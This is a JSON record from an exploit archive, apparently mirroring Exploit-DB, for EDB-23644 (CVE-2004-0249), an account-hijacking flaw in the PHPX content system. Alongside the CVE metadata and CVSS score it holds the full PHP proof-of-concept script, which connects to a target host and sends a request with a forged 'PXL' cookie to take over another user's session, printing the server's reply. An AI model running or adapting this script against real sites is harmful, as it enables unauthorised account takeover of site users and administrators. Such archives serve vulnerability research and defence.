{"exploit":{"id":"EDB-23644","name":"PHPX 3.2.3 - Cross-Site Scripting (XSS) / HTML Injection / Account Hijacking","description":"PHPX 3.2.3 - Cross-Site Scripting (XSS) / HTML Injection / Account Hijacking","cves":["CVE-2004-0249"],"author":"Manuel L?pez","published":"2004-02-03","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23644","path":"exploits/php/webapps/23644.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23644.php","vulnerabilities":[{"id":"CVE-2004-0249","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHPX 2.0 through 3.2.4 allows remote attackers to gain access to other accounts by modifying the cookie's PXL variable to reference another userID.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0249","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0249"},"updatedAt":"2024-08-08T00:10:03.712Z","retrievedAt":"2026-11-27T13:09:41.458Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23644.png?v=2","url":"https://exploitbin.com/exploits/EDB-23644","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23644/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23644/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n/*\nsource: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9569/info\n\nMultiple vulnerabilities were reported in PHPX. The specific issues include cross-site scripting, HTML injection and account hijacking via specially crafted cookies.\n\nThese issues were reported to exist in PHPX 3.2.3. Earlier versions are also likely affected.\n*/\n/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */\n/* Quick hack, not really an affective tool, only useful as a demonstration */\n/* Written by HelloWorld - Ryan Wray */\n\n/* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */\nfunction usage()\n{\n    echo \"Usage request\";\n}\n\nfunction bytes_left($fp)\n{\n    $status=socket_get_status($fp);\n    if($status['unread_bytes'] > 0) { return true; }\n    return false;\n}\nprint_r($_SERVER['argv']);\nif($_SERVER['argc'] != 4)\n{\n    exit(usage());\n}\n\n// Attempt to connect to host.\n$fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]);\n\nif(!$fp)\n{\n    exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]);\n}\n\nelse\n{\n    fputs($fp,\"GET \".$_SERVER['argv'][3].\"index.php HTTP/1.1\\r\\n\");\n    fputs($fp,\"Host: \".$_SERVER['argv'][1].\"\\r\\n\");\n    fputs($fp,\"Cookie: PXL=2\\r\\n\\r\\n\");\n}\n// Start accepting data, otherwise socket_get_status will say there are 0 unread bytes.\necho fgets($fp,1024);\n// While we can read.\nwhile(bytes_left($fp))\n{\n    echo fgets($fp,1024);\n}\n// Close the socket.\nfclose($fp);\n?>","sha256":"550171334161f2c147ade080d31c08277b65e40ad3d64a516a87960bb89553e5","bytes":1464,"fetchedAt":"2026-11-27T13:09:39.826Z","encoding":"utf-8 (display only; download retains original bytes)"}